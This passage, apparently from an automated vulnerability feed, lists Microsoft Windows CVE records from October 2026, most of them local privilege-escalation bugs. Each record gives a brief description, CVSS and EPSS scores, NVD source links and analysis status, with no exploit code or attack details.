CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83724).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83724&date=2026-10-25).
Sources:
NVD CVE-2026-83724: https://nvd.nist.gov/vuln/detail/CVE-2026-83724
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83724&date=2026-10-25
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83722
Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83722).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83722&date=2026-10-25).
Sources:
NVD CVE-2026-83722: https://nvd.nist.gov/vuln/detail/CVE-2026-83722
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83722&date=2026-10-25
Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83718
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83718).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83718&date=2026-10-25).
Sources:
NVD CVE-2026-83718: https://nvd.nist.gov/vuln/detail/CVE-2026-83718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83718&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83717
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83717).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83717&date=2026-10-25).
Sources:
NVD CVE-2026-83717: https://nvd.nist.gov/vuln/detail/CVE-2026-83717
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83717&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83716
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83716).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83716&date=2026-10-25).
Sources:
NVD CVE-2026-83716: https://nvd.nist.gov/vuln/detail/CVE-2026-83716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83716&date=2026-10-25
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.
https://kevwire.com/record/CVE-2026-83715
Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83715).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83715&date=2026-10-25).
Sources:
NVD CVE-2026-83715: https://nvd.nist.gov/vuln/detail/CVE-2026-83715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83715&date=2026-10-25
Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83712
Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally. (Oct 13, 2026).
Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83712).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83712&date=2026-10-25).
Sources:
NVD CVE-2026-83712: https://nvd.nist.gov/vuln/detail/CVE-2026-83712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83712&date=2026-10-25
Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83710
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83710).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83710&date=2026-10-25).
Sources:
NVD CVE-2026-83710: https://nvd.nist.gov/vuln/detail/CVE-2026-83710
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83710&date=2026-10-25
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83709
Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83709).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83709&date=2026-10-25).
Sources:
NVD CVE-2026-83709: https://nvd.nist.gov/vuln/detail/CVE-2026-83709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83709&date=2026-10-25
Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83708
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83708).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83708&date=2026-10-25).
Sources:
NVD CVE-2026-83708: https://nvd.nist.gov/vuln/detail/CVE-2026-83708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83708&date=2026-10-25
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83707
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83707).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83707&date=2026-10-25).
Sources:
NVD CVE-2026-83707: https://nvd.nist.gov/vuln/detail/CVE-2026-83707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83707&date=2026-10-25
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83704
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83704).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83704&date=2026-10-25).
Sources:
NVD CVE-2026-83704: https://nvd.nist.gov/vuln/detail/CVE-2026-83704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83704&date=2026-10-25
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83702
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83702).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83702&date=2026-10-25).
Sources:
NVD CVE-2026-83702: https://nvd.nist.gov/vuln/detail/CVE-2026-83702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83702&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83701
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83701).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83701&date=2026-10-25).
Sources:
NVD CVE-2026-83701: https://nvd.nist.gov/vuln/detail/CVE-2026-83701
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83701&date=2026-10-25
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83700
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83700).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83700&date=2026-10-25).
Sources:
NVD CVE-2026-83700: https://nvd.nist.gov/vuln/detail/CVE-2026-83700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83700&date=2026-10-25
Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83699
Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83699).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83699&date=2026-10-25).
Sources:
NVD CVE-2026-83699: https://nvd.nist.gov/vuln/detail/CVE-2026-83699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83699&date=2026-10-25
Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83698
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83698).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83698&date=2026-10-25).
Sources:
NVD CVE-2026-83698: https://nvd.nist.gov/vuln/detail/CVE-2026-83698
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83698&date=2026-10-25
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83696
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83696).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83696&date=2026-10-25).
Sources:
NVD CVE-2026-83696: https://nvd.nist.gov/vuln/detail/CVE-2026-83696
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83696&date=2026-10-25
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83694
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83694).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83694&date=2026-10-25).
Sources:
NVD CVE-2026-83694: https://nvd.nist.gov/vuln/detail/CVE-2026-83694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83694&date=2026-10-25
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83693
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83693).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83693&date=2026-10-25).
Sources:
NVD CVE-2026-83693: https://nvd.nist.gov/vuln/detail/CVE-2026-83693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83693&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83692
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83692).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83692&date=2026-10-25).
Sources:
NVD CVE-2026-83692: https://nvd.nist.gov/vuln/detail/CVE-2026-83692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83692&date=2026-10-25
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83691
Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83691).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83691&date=2026-10-25).
Sources:
NVD CVE-2026-83691: https://nvd.nist.gov/vuln/detail/CVE-2026-83691
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83691&date=2026-10-25
Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83690
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83690).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83690&date=2026-10-25).
Sources:
NVD CVE-2026-83690: https://nvd.nist.gov/vuln/detail/CVE-2026-83690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83690&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83689
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83689).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83689&date=2026-10-25).
Sources:
NVD CVE-2026-83689: https://nvd.nist.gov/vuln/detail/CVE-2026-83689
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83689&date=2026-10-25
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83688
Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83688).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83688&date=2026-10-25).
Sources:
NVD CVE-2026-83688: https://nvd.nist.gov/vuln/detail/CVE-2026-83688
